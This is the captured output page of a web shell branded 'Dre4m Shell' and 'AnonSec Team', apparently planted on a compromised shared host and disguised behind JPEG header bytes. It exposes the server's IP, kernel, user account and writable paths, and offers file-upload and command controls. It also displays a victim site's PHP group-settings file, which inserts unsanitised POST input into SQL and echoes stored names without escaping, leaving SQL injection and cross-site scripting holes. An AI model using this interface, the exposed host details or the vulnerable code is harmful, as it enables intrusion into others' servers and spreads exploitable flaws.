ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/_groups.php
<?php
if(count($_POST) && $_SESSION['PERM'][10]['e'] == 1){
	mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."user_groups (id, id_user, name) VALUES ('', '{$_SESSION['id']}', '{$_POST['name']}')")?>
    	<script type="application/javascript">
			document.location.href="?settings&setgroups";
		</script> 
<?php } ?>
<?php if($_SESSION['PERM'][10]['a'] == 1){?>
	<div id="form-content" style="display:none">
    <form action="" method="post" class="form-horizontal">
            <h4><?php echo __('Add new group');?></h4>
            <div class="control-group">
             <label class="control-label" for="name"><?php echo __('Name');?></label>
              <div class="controls">
                <input type="text" class="input-xlarge" id="name" name="name">
              </div>
            </div>
           	<div class="form-actions">
              <button type="submit" class="btn btn-primary"><?php echo __('Save');?></button>
            </div>
    </form>
    <hr>
    </div>
    <?php } ?>
     <?php if($_SESSION['PERM'][10]['v'] == 1){
			$where = " WHERE id_user=".$_SESSION['id'];
		}else{
			$where = '';
		}
	 
		$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."user_groups {$where}") or exit("select advice error");
		if(mysqli_num_rows($result)>0){ $i=1;?>
        <table class="table table-bordered table-striped"> 
            <thead>
                <tr>
                	<th class="span1">#</th>
                    <th><?php echo __('Name of group');?></th>
                    <th class="span1"><?php echo __('Registration')?></th>
                    <th class="span1"><?php echo __('Count members');?></th>
                     <?php if(($_SESSION['PERM'][10]['r'] == 1 && $_SESSION['PERM'][10]['e'] == 1) || 
				$_SESSION['PERM'][10]['r'] + $_SESSION['PERM'][10]['e'] > 0
				){?>
                    <th class="span1"><?php echo __('Operations');?></th>
                   <?php } ?> 
                </tr>
            </thead>
        <tbody>                             
		<?php while($group = mysqli_fetch_array($result)){ ?>
        	<tr>
            	<td class="span1"><?php echo $i++?></td>
                <td><?php echo $group['name']?></td>
                <td class="center"><?php
                if($_SET['reg'] == 1 && $group['reg_group'] == 1){?>
                <i class="icon-check"></i>
				<?php }else{?>
                <i class="icon-check-empty"></i>
                <?php } ?></td>
                <td class="center"><?php $count_members = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."user WHERE id_cat = {$group['id']}")); echo $count_members['count(*)']?></td>
                <?php if(($_SESSION['PERM'][10]['r'] == 1 && $_SESSION['PERM'][10]['e'] == 1) || 
				$_SESSION['PERM'][10]['r'] + $_SESSION['PERM'][10]['e'] > 0
				){?>
	            <td class="span1">
                <div class="btn-group">
                  <a class="btn btn-primary btn-small dropdown-toggle" data-toggle="dropdown" href="#">
                    <?php echo __('Action');?>
                    <span class="caret"></span>
                  </a>
                  <ul class="dropdown-menu">
                  <?php if($_SESSION['PERM'][10]['e'] == 1){?>
                    <!-- dropdown menu links -->
                    <li><a href="?settings&set_group_edit=<?php echo $group['id']?>" title="<?php echo __('Edit');?>" ><i class="icon-pencil"></i> <?php echo __('Edit');?></a></li>  
                    <li><a href="?settings&set_permission=<?php echo $group['id']?>" title="<?php echo __('Permission');?>" ><i class="icon-unlock"></i> <?php echo __('Permission');?></a></li>
                  <?php } ?>  
                   <?php if($_SESSION['PERM'][10]['r'] == 1 && !in_array($group['id'],array(1,2,3))){?>
                    <li class="divider"></li>
                   	<li><a href="?set_group_del=<?php echo $group['id']?>" onClick="return confirm('<?php echo __('Remove?');?>');" ><i class="icon-remove-sign"></i> <?php echo __('Remove');?></a></li>
                    <?php } ?>
                  </ul>
                </div>
                </td>
                <?php } ?>
            </tr>
		<?php } ?>
        </tbody>
        </table>
        <?php } ?>

Anon7 - 2022
AnonSec Team